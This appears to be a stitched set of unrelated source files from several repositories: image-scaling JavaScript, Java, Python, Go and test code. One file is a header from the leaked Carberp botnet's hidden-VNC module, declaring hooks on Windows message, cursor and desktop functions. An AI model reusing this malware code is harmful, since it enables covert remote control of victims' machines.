_len = arguments.length, rest = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { rest[_key - 1] = arguments[_key]; } rest.forEach(function (source) { source && Object.keys(source).forEach(function (key) { finalTarget[key] = source[key]; }); }); return finalTarget; } /** * 选择这段代码用到的太多了,因此抽取封装出来 * @param {Object} element dom元素或者selector * @return {HTMLElement} 返回选择的Dom对象,无果没有符合要求的,则返回null */ /** * 获取DOM的可视区高度,兼容PC上的body高度获取 * 因为在通过body获取时,在PC上会有CSS1Compat形式,所以需要兼容 * @param {HTMLElement} dom 需要获取可视区高度的dom,对body对象有特殊的兼容方案 * @return {Number} 返回最终的高度 */ /** * 设置一个Util对象下的命名空间 * @param {Object} parent 需要绑定到哪一个对象上 * @param {String} namespace 需要绑定的命名空间名 * @param {Object} target 需要绑定的目标对象 * @return {Object} 返回最终的对象 */ var defaultArgs = { width: 80, height: 80, mime: 'image/png', // 0: nearestNeighbor // 1: bilinearInterpolation // 2: bicubicInterpolation // 3: bicubicInterpolation2 processType: 1 }; var defaultArgsCompress = { // 压缩质量 quality: 0.92, mime: 'image/jpeg', // 压缩时的放大系数,默认为1,如果增大,代表图像的尺寸会变大(最大不会超过原图) compressScaleRatio: 1, // ios的iPhone下主动放大一定系数以解决分辨率过小的模糊问题 iphoneFixedRatio: 1.5, // 是否采用原图像素(不会改变大小) isUseOriginSize: false, // 增加最大宽度,增加后最大不会超过这个宽度 maxWidth: 0, // 使用强制的宽度,如果使用,其它宽高比系数都会失效,默认整图使用这个宽度 forceWidth: 0, // 同上,但是一般不建议设置,因为很可能会改变宽高比导致拉升,特殊场景下使用 forceHeight: 0 }; function scaleMixin(ImageScale) { var api = ImageScale; /** * 对ImageData类型的数据进行缩放,将数据放入新的imageData中 * @param {ImageData} imageData 目标ImageData * @param {ImageData} newImageData 新的ImageData * @param {Object} args 额外参数 */ api.scaleImageData = function scaleImageData(imageData, newImageData, args) { var finalArgs = extend({}, defaultArgs, args); var processTypes = [nearestNeighborInterpolation, bilinearInterpolation, bicubicInterpolation, bicubicInterpolation$1]; var curDealFunc = processTypes[finalArgs.processType]; curDealFunc(imageData, newImageData); }; /** * 对Image类型的对象进行缩放,返回一个base64字符串 * @param {Image} image 目标Image * @param {Object} args 额外参数 * @return {String} 返回目标图片的b64字符串 */ api.scaleImage = function scaleImage(image, args) { var width = image.width; var height = image.height; var finalArgs = extend({}, defaultArgs, args); var canvasTransfer = document.createElement('canvas'); var ctxTransfer = canvasTransfer.getContext('2d'); canvasTransfer.width = width; canvasTransfer.height = height; ctxTransfer.drawImage(image, 0, 0, width, height); var imageData = ctxTransfer.getImageData(0, 0, width, height); var newImageData = ctxTransfer.createImageData(finalArgs.width, finalArgs.height); api.scaleImageData(imageData, newImageData, finalArgs); canvasTransfer.width = newImageData.width; canvasTransfer.height = newImageData.height; ctxTransfer.putImageData(newImageData, 0, 0, 0, 0, canvasTransfer.width, canvasTransfer.height); // console.log(imageData); // console.log(newImageData); // console.log('压缩时w:' + canvasTransfer.width + ',' + canvasTransfer.height); return canvasTransfer.toDataURL(finalArgs.mime, 0.9); }; function getPixelRatio(context) { var backingStore = context.backingStorePixelRatio || context.webkitBackingStorePixelRatio || context.mozBackingStorePixelRatio || context.msBackingStorePixelRatio || context.oBackingStorePixelRatio || context.backingStorePixelRatio || 1; var ratio = (window.devicePixelRatio || 1) / backingStore; return ratio; } /** * 压缩图片,返回一个base64字符串 * 与scale的区别是这用的是canvas默认缩放,并且有很多参数可控 * @param {Image} image 目标Image * @param {Object} args 额外参数 * @return {String} 返回目标图片的b64字符串 */ api.compressImage = function compressImage(image, args) { var width = image.width; var height = image.height; var wPerH = width / height; var finalArgs = extend({}, defaultArgsCompress, args); var canvasTransfer = document.createElement('canvas'); var ctxTransfer = canvasTransfer.getContext('2d'); var ratio = getPixelRatio(ctxTransfer); ratio *= finalArgs.compressScaleRatio || 1; if (navigator.userAgent.match(/(iPhone\sOS)\s([\d_]+)/)) { ratio *= finalArgs.iphoneFixedRatio || 1; } var finalWidth = window.innerWidth * ratio; if (finalArgs.isUseOriginSize || finalWidth > width) { // 最大不会超过原图的尺寸 finalWidth = width; } var maxWidth = finalArgs.maxWidth; if (maxWidth && width > maxWidth && finalWidth > maxWidth) { // 考虑到之前已经进行不超过原图的判断了 finalWidth = maxWidth; } var forceWidth = finalArgs.forceWidth; var forceHeight = finalArgs.forceHeight; if (forceWidth) { // 使用固定宽 finalWidth = forceWidth; } var finalHeight = finalWidth / wPerH; if (forceHeight) { finalHeight = forceHeight; } canvasTransfer.width = finalWidth; canvasTransfer.height = finalHeight; ctxTransfer.drawImage(image, 0, 0, width, height, 0, 0, canvasTransfer.width, canvasTransfer.height); return canvasTransfer.toDataURL(finalArgs.mime, finalArgs.quality); }; } var ImageScale = {}; scaleMixin(ImageScale); return ImageScale; })));
ExaByt3s/hack_scripts
Dark soft/Carberp Botnet/source - absource/pro/all source/RemoteCtl/hvnc/libs/hvnc/hvnc/injlib/vncmsg.h
<gh_stars>1-10 #ifndef VNCTHREAD_H_INCLUDED #define VNCTHREAD_H_INCLUDED #define DEFPROC_PROLOG(hWnd) if ((lpServer) && (lpServer->bIsVNC) && (lpServer->lpGlobalVNCData))\ {\ DWORD tmp=__LINE__;\ if (uMsg == lpServer->lpGlobalVNCData->dwVNCMessage)\ return HandleVNCMsg(hWnd,wParam,lParam);\ else if ((bShell) && ((hWnd == lpServer->WndsInfo.hDefView) || (hWnd == lpServer->WndsInfo.hDeskListView)) && (uMsg == WM_ERASEBKGND))\ return EraseBkg(hWnd,wParam);\ else if ((uMsg == WM_NCACTIVATE) && (wParam))\ return 0;\ } extern bool bShell; void HandleWM_PRINT(HWND hWnd); extern HBRUSH hBkgBrush; LRESULT HandleVNCMsg(HWND hWnd,WPARAM wParam,LPARAM lParam); LRESULT EraseBkg(HWND hWnd,WPARAM wParam); void FixMessage(BOOL r,LPMSG Msg); #define FixMsg(r,Msg) DWORD tmp=__LINE__;\ FixMessage(r,Msg); typedef LRESULT WINAPI __DefWindowProcW(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); typedef LRESULT WINAPI __DefWindowProcA(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); typedef LRESULT WINAPI __DefDlgProcW(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); typedef LRESULT WINAPI __DefDlgProcA(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); typedef LRESULT WINAPI __DefFrameProcW(HWND hFrame,HWND hClient,UINT uMsg,WPARAM wParam,LPARAM lParam); typedef LRESULT WINAPI __DefFrameProcA(HWND hFrame,HWND hClient,UINT uMsg,WPARAM wParam,LPARAM lParam); typedef LRESULT WINAPI __DefMDIChildProcW(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); typedef LRESULT WINAPI __DefMDIChildProcA(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); typedef LRESULT WINAPI __CallWindowProcW(WNDPROC lpPrevWndFunc,HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); typedef LRESULT WINAPI __CallWindowProcA(WNDPROC lpPrevWndFunc,HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); typedef BOOL WINAPI __GetCursorPos(LPPOINT lpPoint); typedef BOOL WINAPI __SetCursorPos(int X,int Y); typedef DWORD WINAPI __GetMessagePos(VOID); typedef HWND WINAPI __SetCapture(HWND hWnd); typedef BOOL WINAPI __ReleaseCapture(VOID); typedef HWND WINAPI __GetCapture(void); typedef BOOL WINAPI __GetMessageW(LPMSG Msg,HWND hWnd,UINT uMsgFilterMin,UINT uMsgFilterMax); typedef BOOL WINAPI __GetMessageA(LPMSG Msg,HWND hWnd,UINT uMsgFilterMin,UINT uMsgFilterMax); typedef BOOL WINAPI __PeekMessageW(LPMSG Msg,HWND hWnd,UINT uMsgFilterMin,UINT uMsgFilterMax,UINT uRemoveMsg); typedef BOOL WINAPI __PeekMessageA(LPMSG Msg,HWND hWnd,UINT uMsgFilterMin,UINT uMsgFilterMax,UINT uRemoveMsg); typedef BOOL WINAPI __TranslateMessage(LPMSG Msg); typedef HDESK WINAPI __OpenInputDesktop(DWORD dwFlags,BOOL bInherit,ACCESS_MASK dwDesiredAccess); typedef BOOL WINAPI __SwitchDesktop(HDESK hDesk); typedef HDESK WINAPI __OpenDesktopA(LPCSTR lpszDesktop,DWORD dwFlags,BOOL bInherit,ACCESS_MASK dwDesiredAccess); typedef HDESK WINAPI __OpenDesktopW(LPCWSTR lpszDesktop,DWORD dwFlags,BOOL bInherit,ACCESS_MASK dwDesiredAccess); typedef BOOL WINAPI __FlashWindowEx(PFLASHWINFO pfwi); typedef BOOL WINAPI __FlashWindow(HWND hWnd,BOOL bInvert); typedef BOOL WINAPI __TrackPopupMenuEx(HMENU hmenu,UINT fuFlags,int x,int y,HWND hwnd,LPTPMPARAMS lptpm); typedef BOOL WINAPI __ShowWindow(HWND hWnd,int nCmdShow); typedef UINT WINAPI __GetCaretBlinkTime(); EXTERN_HOOK(DefWindowProcW) EXTERN_HOOK(DefWindowProcA) EXTERN_HOOK(DefDlgProcW) EXTERN_HOOK(DefDlgProcA) EXTERN_HOOK(DefFrameProcW) EXTERN_HOOK(DefFrameProcA) EXTERN_HOOK(DefMDIChildProcW) EXTERN_HOOK(DefMDIChildProcA) EXTERN_HOOK(CallWindowProcW) EXTERN_HOOK(CallWindowProcA) EXTERN_HOOK(GetCursorPos) EXTERN_HOOK(SetCursorPos) EXTERN_HOOK(GetMessagePos) EXTERN_HOOK(SetCapture) EXTERN_HOOK(ReleaseCapture) EXTERN_HOOK(GetCapture) EXTERN_HOOK(GetMessageW) EXTERN_HOOK(GetMessageA) EXTERN_HOOK(PeekMessageW) EXTERN_HOOK(PeekMessageA) EXTERN_HOOK(TranslateMessage) EXTERN_HOOK(OpenInputDesktop) EXTERN_HOOK(SwitchDesktop) EXTERN_HOOK(OpenDesktopA) EXTERN_HOOK(OpenDesktopW) EXTERN_HOOK(FlashWindowEx) EXTERN_HOOK(FlashWindow) EXTERN_HOOK(SetDIBitsToDevice) EXTERN_HOOK(TrackPopupMenuEx) EXTERN_HOOK(ShowWindow) EXTERN_HOOK(GetCaretBlinkTime) LRESULT WINAPI DefWindowProcW_handler(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); LRESULT WINAPI DefWindowProcA_handler(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); LRESULT WINAPI DefDlgProcW_handler(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); LRESULT WINAPI DefDlgProcA_handler(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); LRESULT WINAPI DefFrameProcW_handler(HWND hFrame,HWND hClient,UINT uMsg,WPARAM wParam,LPARAM lParam); LRESULT WINAPI DefFrameProcA_handler(HWND hFrame,HWND hClient,UINT uMsg,WPARAM wParam,LPARAM lParam); LRESULT WINAPI DefMDIChildProcW_handler(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); LRESULT WINAPI DefMDIChildProcA_handler(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); LRESULT WINAPI CallWindowProcW_handler(WNDPROC lpPrevWndFunc,HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); LRESULT WINAPI CallWindowProcA_handler(WNDPROC lpPrevWndFunc,HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam); BOOL WINAPI GetCursorPos_handler(LPPOINT lpPoint); BOOL WINAPI SetCursorPos_handler(int X,int Y); DWORD WINAPI GetMessagePos_handler(VOID); HWND WINAPI SetCapture_handler(HWND hWnd); BOOL WINAPI ReleaseCapture_handler(VOID); HWND WINAPI GetCapture_handler(void); BOOL WINAPI GetMessageW_handler(LPMSG Msg,HWND hWnd,UINT uMsgFilterMin,UINT uMsgFilterMax); BOOL WINAPI GetMessageA_handler(LPMSG Msg,HWND hWnd,UINT uMsgFilterMin,UINT uMsgFilterMax); BOOL WINAPI PeekMessageW_handler(LPMSG Msg,HWND hWnd,UINT uMsgFilterMin,UINT uMsgFilterMax,UINT uRemoveMsg); BOOL WINAPI PeekMessageA_handler(LPMSG Msg,HWND hWnd,UINT uMsgFilterMin,UINT uMsgFilterMax,UINT uRemoveMsg); BOOL WINAPI TranslateMessage_handler(LPMSG Msg); HDESK WINAPI OpenDesktopA_handler(LPCSTR lpszDesktop,DWORD dwFlags,BOOL bInherit,ACCESS_MASK dwDesiredAccess); HDESK WINAPI OpenDesktopW_handler(LPCWSTR lpszDesktop,DWORD dwFlags,BOOL bInherit,ACCESS_MASK dwDesiredAccess); HDESK WINAPI OpenInputDesktop_handler(DWORD dwFlags,BOOL bInherit,ACCESS_MASK dwDesiredAccess); BOOL WINAPI SwitchDesktop_handler(HDESK hDesk); BOOL WINAPI FlashWindowEx_handler(PFLASHWINFO pfwi); BOOL WINAPI FlashWindow_handler(HWND hWnd,BOOL bInvert); UINT WINAPI GetCaretBlinkTime_handler(VOID); struct JavaPaintHook { HANDLE hMutex; HWND hWnd; HDC hDC; HBITMAP hBitmap; JavaPaintHook *next; }; extern JavaPaintHook JavaHooks; typedef int WINAPI __SetDIBitsToDevice(HDC hdc,int xDest,int yDest,DWORD w,DWORD h,int xSrc,int ySrc,UINT StartScan,UINT cLines,CONST VOID *lpvBits,CONST BITMAPINFO *lpbmi,UINT ColorUse); int WINAPI SetDIBitsToDevice_handler(HDC hdc,int xDest,int yDest,DWORD w,DWORD h,int xSrc,int ySrc,UINT StartScan,UINT cLines,CONST VOID *lpvBits,CONST BITMAPINFO *lpbmi,UINT ColorUse); BOOL WINAPI TrackPopupMenuEx_handler(HMENU hmenu,UINT fuFlags,int x,int y,HWND hwnd,LPTPMPARAMS lptpm); BOOL WINAPI ShowWindow_handler(HWND hWnd,int nCmdShow); #define VMR_IQOK 0xDEADC0DE LRESULT APIENTRY SubclassProcForIdioticCodes(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam); struct SUBCLASS_INFO { HWND hWnd; LONG_PTR dwOriginal; SUBCLASS_INFO *lpNext; }; void AppendSubclassedWnd(HWND hWnd,LONG_PTR dwOrig); struct WNDS_LIST_ITEM { HWND hWnd; WNDS_LIST_ITEM *lpNext; }; #endif // VNCTHREAD_H_INCLUDED
itcastopen/itcast-sms
itcast-sms-api/src/main/java/com/itheima/sms/service/TimingPushService.java
<reponame>itcastopen/itcast-sms package com.itheima.sms.service; import com.baomidou.mybatisplus.extension.service.IService; import com.itheima.sms.entity.TimingPushEntity; /** * 定时发送 * * @author 传智播客 * */ public interface TimingPushService extends IService<TimingPushEntity> { }
netease-im/Wawaji
Wawaji-Server-Windows/wwj_demo/libs/nim_sdk_desktop/nim_chatroom_c_sdk/nim_chatroom_sdk_util.h
<reponame>netease-im/Wawaji<filename>Wawaji-Server-Windows/wwj_demo/libs/nim_sdk_desktop/nim_chatroom_c_sdk/nim_chatroom_sdk_util.h /** @file nim_chatroom_sdk_util.h * @brief 接口工具方法 * @copyright (c) 2015-2017, NetEase Inc. All rights reserved * @author Oleg * @date 2017/01/01 */ #include <string> std::string PCharToString(const char *str);
doug0162/filebot
source/net/filebot/NativeRenameAction.java
<reponame>doug0162/filebot package net.filebot; import static java.util.Collections.*; import static net.filebot.util.FileUtilities.*; import java.io.File; import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.concurrent.CancellationException; import com.sun.jna.Platform; import com.sun.jna.platform.win32.Shell32; import com.sun.jna.platform.win32.ShellAPI; import com.sun.jna.platform.win32.ShellAPI.SHFILEOPSTRUCT; public enum NativeRenameAction implements RenameAction { MOVE, COPY; @Override public File rename(File src, File dst) { dst = resolve(src, dst); rename(singletonMap(src, dst)); return dst; } public void rename(Map<File, File> map) { List<File> src = new ArrayList<File>(map.size()); List<File> dst = new ArrayList<File>(map.size()); map.forEach((from, to) -> { // resolve relative paths src.add(from); dst.add(resolve(from, to)); }); // call Windows MOVE / COPY dialog SHFileOperation(this, getPathArray(src), getPathArray(dst)); } private static void SHFileOperation(NativeRenameAction action, String[] src, String[] dst) { // configure parameter structure SHFILEOPSTRUCT op = new SHFILEOPSTRUCT(); op.wFunc = SHFileOperationFunction(action); op.fFlags = Shell32.FOF_MULTIDESTFILES | Shell32.FOF_NOCOPYSECURITYATTRIBS | Shell32.FOF_NOCONFIRMATION | Shell32.FOF_NOCONFIRMMKDIR; op.pFrom = op.encodePaths(src); op.pTo = op.encodePaths(dst); Shell32.INSTANCE.SHFileOperation(op); if (op.fAnyOperationsAborted) { throw new CancellationException(action.name() + " cancelled"); } } private static int SHFileOperationFunction(NativeRenameAction action) { switch (action) { case MOVE: return ShellAPI.FO_MOVE; case COPY: return ShellAPI.FO_COPY; default: throw new UnsupportedOperationException("SHFileOperation not supported: " + action); } } private static String[] getPathArray(List<File> files) { return files.stream().map(File::getAbsolutePath).toArray(String[]::new); } public static boolean isSupported(StandardRenameAction action) { try { return Platform.isWindows() && (action == StandardRenameAction.MOVE || action == StandardRenameAction.COPY); } catch (Throwable e) { return false; } } }
winiar93/viadot
tests/integration/flows/test_flow_of_flows.py
<gh_stars>0 import pytest from unittest import mock from viadot.flows import Pipeline from prefect.engine.state import Success from prefect.engine.state import State def test_pipeline_init(): instance = Pipeline( "test_pipeline_flow", project_name="example_project", extract_flows_names=["flow1_extract", "flow2_load"], transform_flow_name="flow1_extract", ) assert instance def test_pipeline_flow_run_mock(): with mock.patch.object(Pipeline, "run", return_value=Success) as mock_method: instance = Pipeline( "test_pipeline_flow", project_name="example_project", extract_flows_names=["flow1_extract", "flow2_load"], transform_flow_name="flow1_extract", ) result = instance.run() assert result
andreimaftei28/projects-on-JetBrainAcademy
EasyRiderBusCompany_beta/easyrider.py
# Write your awesome code here import json import re class EasyRider: def __init__(self ,data): self.data = json.loads(data) self.errors = {} def find_errors(self): data_names = ["bus_id", "stop_id", "stop_name", "next_stop", "stop_type", "a_time"] self.errors = dict.fromkeys(data_names, 0) for dct in self.data: if type(dct["bus_id"]) != int: self.errors["bus_id"] += 1 if type(dct["stop_id"]) != int: self.errors["stop_id"] += 1 if type(dct["stop_name"]) != str or dct["stop_name"] == "": self.errors["stop_name"] += 1 if type(dct["next_stop"]) != int: self.errors["next_stop"] += 1 if type(dct["stop_type"]) != str or len(dct["stop_type"]) > 1: self.errors["stop_type"] += 1 if type(dct["a_time"]) != str or dct["a_time"] == "": self.errors["a_time"] += 1 return self.errors def find_format_errors(self): required = ["stop_name", "stop_type", "a_time"] self.errors = dict.fromkeys(required, 0) name_template = r"[A-Z]\w+\s?\w+?\s(Road|Avenue|Boulevard|Street)$" type_template = r'^$|[SOF]{1}$' hour_template = r"([01]\d|2[0-3]):([0-5]\d)$" for dct in self.data: if not re.match(name_template, dct["stop_name"]): self.errors["stop_name"] += 1 if not re.match(type_template, dct["stop_type"]): self.errors["stop_type"] += 1 if not re.match(hour_template, dct["a_time"]): self.errors["a_time"] += 1 return self.errors def number_of_stops(self): errors = self.find_errors() if sum(list(errors.values())) == 0: errors = self.find_format_errors() else: self.print_output() if sum(list(errors.values())) == 0: bus_stops = {} else: self.print_format_errors() for dct in self.data: if dct["bus_id"] not in bus_stops: bus_stops[dct["bus_id"]] = 1 else: bus_stops[dct["bus_id"]] += 1 return bus_stops def special_stops(self): check_start_stop = {} for dct in self.data: check_start_stop.setdefault(dct["bus_id"], []).append(dct["stop_type"]) for key in check_start_stop: if not "S" in check_start_stop[key] or not "F" in check_start_stop[key]: return f"There is no start or end stop for the line: {key}." else: stop_ids = [dct["stop_id"] for dct in self.data] next_stops = [dct["next_stop"] for dct in self.data] start_stops = {dct["stop_name"] for dct in self.data if dct["stop_id"] not in next_stops} transfer_stops = {dct["stop_name"] for dct in self.data if stop_ids.count(dct["stop_id"]) > 1} finish_stops = {dct["stop_name"] for dct in self.data if dct["next_stop"] not in stop_ids} return start_stops, transfer_stops, finish_stops def check_time(self): time_checker = {} data = self.data for i in range(len(data) - 1): if data[i]["bus_id"] == data[i + 1]["bus_id"]: while True: if not data[i]["a_time"] < data[i + 1]["a_time"]: time_checker.setdefault(data[i + 1]["bus_id"], []).append(data[i+1]["stop_name"]) break break else: continue if time_checker: for key, value in time_checker.items(): print(f"bus_id line: {key}: wrong time on station {value[0]}") else: print(f"Arival time test:\nOK") def validate_on_demand_stops(self): start_stops, transfer_stops, finish_stops = self.special_stops() special_stops = start_stops | transfer_stops | finish_stops errors = [dct["stop_name"] for dct in self.data if dct["stop_type"] == "O" and dct["stop_name"] in special_stops] print("On demand stops test:") if len(errors) == 0: print("OK") else: errors.sort() print(f"Wrong stop type: {errors}") return def print_special_stops(self): my_data = self.special_stops() if isinstance(my_data, str): print(my_data) else: start_stops, transfer_stops, finish_stops = my_data print(f"Start stops: {len(start_stops)} {sorted(start_stops)}") print(f"Transfer stops {len(transfer_stops)} {sorted(transfer_stops)}") print(f"Finish stops: {len(finish_stops)} {sorted(finish_stops)}") return def print_output(self): my_data = self.find_errors() print(f"Type and required field validation: {sum(list(self.errors.values()))}") for key, value in my_data.items(): print(f"{key}: {value}") return def print_format_errors(self): my_data = self.find_format_errors() print(f"Format validation: {sum(list(self.errors.values()))} errors") for key, value in my_data.items(): print(f"{key}: {value}") return def print_bus_stops(self): my_data = self.number_of_stops() print("Line names and number of stops: ") for key, value in my_data.items(): print(f"bus_id: {key}, stops: {value}") return if __name__ == "__main__": easy = EasyRider(input()) #easy.print_output() #easy.print_format_errors() #easy.print_bus_stops() #easy.print_special_stops() #easy.check_time() easy.validate_on_demand_stops()
maallen/mojito
common/src/main/java/com/box/l10n/mojito/phabricator/payload/TargetSearchResult.java
package com.box.l10n.mojito.phabricator.payload; public class TargetSearchResult extends ListResultWithError<TargetSearchFields> { }
jeffblankenburg/AchievementUnlocked
lambda/custom/node_modules/jmespath/test/jmespath.js
var assert = require('assert'); var jmespath = require('../jmespath'); var tokenize = jmespath.tokenize; var compile = jmespath.compile; var strictDeepEqual = jmespath.strictDeepEqual; describe('tokenize', function() { it('should tokenize unquoted identifier', function() { assert.deepEqual(tokenize('foo'), [{type: "UnquotedIdentifier", value: "foo", start: 0}]); }); it('should tokenize unquoted identifier with underscore', function() { assert.deepEqual(tokenize('_underscore'), [{type: "UnquotedIdentifier", value: "_underscore", start: 0}]); }); it('should tokenize unquoted identifier with numbers', function() { assert.deepEqual(tokenize('foo123'), [{type: "UnquotedIdentifier", value: "foo123", start: 0}]); }); it('should tokenize dotted lookups', function() { assert.deepEqual( tokenize('foo.bar'), [{type: "UnquotedIdentifier", value: "foo", start: 0}, {type: "Dot", value: ".", start: 3}, {type: "UnquotedIdentifier", value: "bar", start: 4}, ]); }); it('should tokenize numbers', function() { assert.deepEqual( tokenize('foo[0]'), [{type: "UnquotedIdentifier", value: "foo", start: 0}, {type: "Lbracket", value: "[", start: 3}, {type: "Number", value: 0, start: 4}, {type: "Rbracket", value: "]", start: 5}, ]); }); it('should tokenize numbers with multiple digits', function() { assert.deepEqual( tokenize("12345"), [{type: "Number", value: 12345, start: 0}]); }); it('should tokenize negative numbers', function() { assert.deepEqual( tokenize("-12345"), [{type: "Number", value: -12345, start: 0}]); }); it('should tokenize quoted identifier', function() { assert.deepEqual(tokenize('"foo"'), [{type: "QuotedIdentifier", value: "foo", start: 0}]); }); it('should tokenize quoted identifier with unicode escape', function() { assert.deepEqual(tokenize('"\\u2713"'), [{type: "QuotedIdentifier", value: "✓", start: 0}]); }); it('should tokenize literal lists', function() { assert.deepEqual(tokenize("`[0, 1]`"), [{type: "Literal", value: [0, 1], start: 0}]); }); it('should tokenize literal dict', function() { assert.deepEqual(tokenize("`{\"foo\": \"bar\"}`"), [{type: "Literal", value: {"foo": "bar"}, start: 0}]); }); it('should tokenize literal strings', function() { assert.deepEqual(tokenize("`\"foo\"`"), [{type: "Literal", value: "foo", start: 0}]); }); it('should tokenize json literals', function() { assert.deepEqual(tokenize("`true`"), [{type: "Literal", value: true, start: 0}]); }); it('should not requiring surrounding quotes for strings', function() { assert.deepEqual(tokenize("`foo`"), [{type: "Literal", value: "foo", start: 0}]); }); it('should not requiring surrounding quotes for numbers', function() { assert.deepEqual(tokenize("`20`"), [{type: "Literal", value: 20, start: 0}]); }); it('should tokenize literal lists with chars afterwards', function() { assert.deepEqual( tokenize("`[0, 1]`[0]"), [ {type: "Literal", value: [0, 1], start: 0}, {type: "Lbracket", value: "[", start: 8}, {type: "Number", value: 0, start: 9}, {type: "Rbracket", value: "]", start: 10} ]); }); it('should tokenize two char tokens with shared prefix', function() { assert.deepEqual( tokenize("[?foo]"), [{type: "Filter", value: "[?", start: 0}, {type: "UnquotedIdentifier", value: "foo", start: 2}, {type: "Rbracket", value: "]", start: 5}] ); }); it('should tokenize flatten operator', function() { assert.deepEqual( tokenize("[]"), [{type: "Flatten", value: "[]", start: 0}]); }); it('should tokenize comparators', function() { assert.deepEqual(tokenize("<"), [{type: "LT", value: "<", start: 0}]); }); it('should tokenize two char tokens without shared prefix', function() { assert.deepEqual( tokenize("=="), [{type: "EQ", value: "==", start: 0}] ); }); it('should tokenize not equals', function() { assert.deepEqual( tokenize("!="), [{type: "NE", value: "!=", start: 0}] ); }); it('should tokenize the OR token', function() { assert.deepEqual( tokenize("a||b"), [ {type: "UnquotedIdentifier", value: "a", start: 0}, {type: "Or", value: "||", start: 1}, {type: "UnquotedIdentifier", value: "b", start: 3} ] ); }); it('should tokenize function calls', function() { assert.deepEqual( tokenize("abs(@)"), [ {type: "UnquotedIdentifier", value: "abs", start: 0}, {type: "Lparen", value: "(", start: 3}, {type: "Current", value: "@", start: 4}, {type: "Rparen", value: ")", start: 5} ] ); }); }); describe('parsing', function() { it('should parse field node', function() { assert.deepEqual(compile('foo'), {type: 'Field', name: 'foo'}); }); }); describe('strictDeepEqual', function() { it('should compare scalars', function() { assert.strictEqual(strictDeepEqual('a', 'a'), true); }); it('should be false for different types', function() { assert.strictEqual(strictDeepEqual('a', 2), false); }); it('should be false for arrays of different lengths', function() { assert.strictEqual(strictDeepEqual([0, 1], [1, 2, 3]), false); }); it('should be true for identical arrays', function() { assert.strictEqual(strictDeepEqual([0, 1], [0, 1]), true); }); it('should be true for nested arrays', function() { assert.strictEqual( strictDeepEqual([[0, 1], [2, 3]], [[0, 1], [2, 3]]), true); }); it('should be true for nested arrays of strings', function() { assert.strictEqual( strictDeepEqual([["a", "b"], ["c", "d"]], [["a", "b"], ["c", "d"]]), true); }); it('should be false for different arrays of the same length', function() { assert.strictEqual(strictDeepEqual([0, 1], [1, 2]), false); }); it('should handle object literals', function() { assert.strictEqual(strictDeepEqual({a: 1, b: 2}, {a: 1, b: 2}), true); }); it('should handle keys in first not in second', function() { assert.strictEqual(strictDeepEqual({a: 1, b: 2}, {a: 1}), false); }); it('should handle keys in second not in first', function() { assert.strictEqual(strictDeepEqual({a: 1}, {a: 1, b: 2}), false); }); it('should handle nested objects', function() { assert.strictEqual( strictDeepEqual({a: {b: [1, 2]}}, {a: {b: [1, 2]}}), true); }); it('should handle nested objects that are not equal', function() { assert.strictEqual( strictDeepEqual({a: {b: [1, 2]}}, {a: {b: [1, 4]}}), false); }); });
oidc-proxy-ecosystem/proxy-server
plugin/modify/main.go
package main import ( "bytes" "html/template" "net/http" "strings" "github.com/hashicorp/go-plugin" "github.com/oidc-proxy-ecosystem/proxy-server/internal" "github.com/oidc-proxy-ecosystem/proxy-server/internal/plugins" "github.com/oidc-proxy-ecosystem/proxy-server/plugin/modify/files" "github.com/oidc-proxy-ecosystem/proxy-server/shared" ) type Hello struct { } var _ shared.Response = (*Hello)(nil) func (h *Hello) Modify(URL string, method string, header map[string][]string, body []byte) shared.ResponseResult { var resultBody []byte buf := new(bytes.Buffer) httpHeader := http.Header(header) if strings.HasPrefix(httpHeader.Get("Content-Type"), "text/html") { t := template.Must(template.ParseFS(files.File, "templates/test.html")) t.Execute(buf, map[string]string{ "Username": "admin", "Password": "password", }) str := string(body) + buf.String() resultBody = []byte(str) } else { resultBody = body } return shared.ResponseResult{ Header: header, Body: resultBody, } } func main() { plugin.Serve(&plugin.ServeConfig{ HandshakeConfig: plugins.Handshake, VersionedPlugins: map[int]plugin.PluginSet{ 1: { "response_modify": &internal.ResponsePlugin{Impl: &Hello{}}, }, }, GRPCServer: plugin.DefaultGRPCServer, }) }
rodekruis/shelter-database
src/web/forms/profile.py
<gh_stars>1-10 #! /usr/bin/env python #-*- coding: utf-8 -*- # ***** BEGIN LICENSE BLOCK ***** # This file is part of Shelter Database. # Copyright (c) 2016 Luxembourg Institute of Science and Technology. # All rights reserved. # # # # ***** END LICENSE BLOCK ***** __author__ = "<NAME>" __version__ = "$Revision: 0.1 $" __date__ = "$Date: 2016/06/06 $" __revision__ = "$Date: 2016/06/06 $" __copyright__ = "Copyright 2016 Luxembourg Institute of Science and Technology" __license__ = "" from flask_wtf import Form from flask import url_for, redirect from wtforms import validators, TextField, PasswordField, SelectField, \ SubmitField, HiddenField from flask_wtf.html5 import EmailField from sqlalchemy import distinct from bootstrap import db from web.models import User, Translation class ProfileForm(Form): """ Edit user own information. """ name = TextField("Nickname", [validators.Required("Please enter your nickname.")]) email = EmailField("Email", [validators.Length(min=6, max=35), validators.Required("Please enter your email.")]) organization = TextField("Organization") # preferred_language = SelectField("Preferred language") password = PasswordField("<PASSWORD>") password_conf = PasswordField("<PASSWORD>") submit = SubmitField("Save") """ def set_languages_choice(self): self.preferred_language.choices = [('en', 'en')] languages = [(language[0], language[0]) for language in \ db.session.query(distinct(Translation.language_code))] self.preferred_language.choices.extend(languages) """ def validate(self): validated = super(ProfileForm, self).validate() if self.password.data != self.password_conf.data: message = "Passwords aren't the same." self.password.errors.append(message) 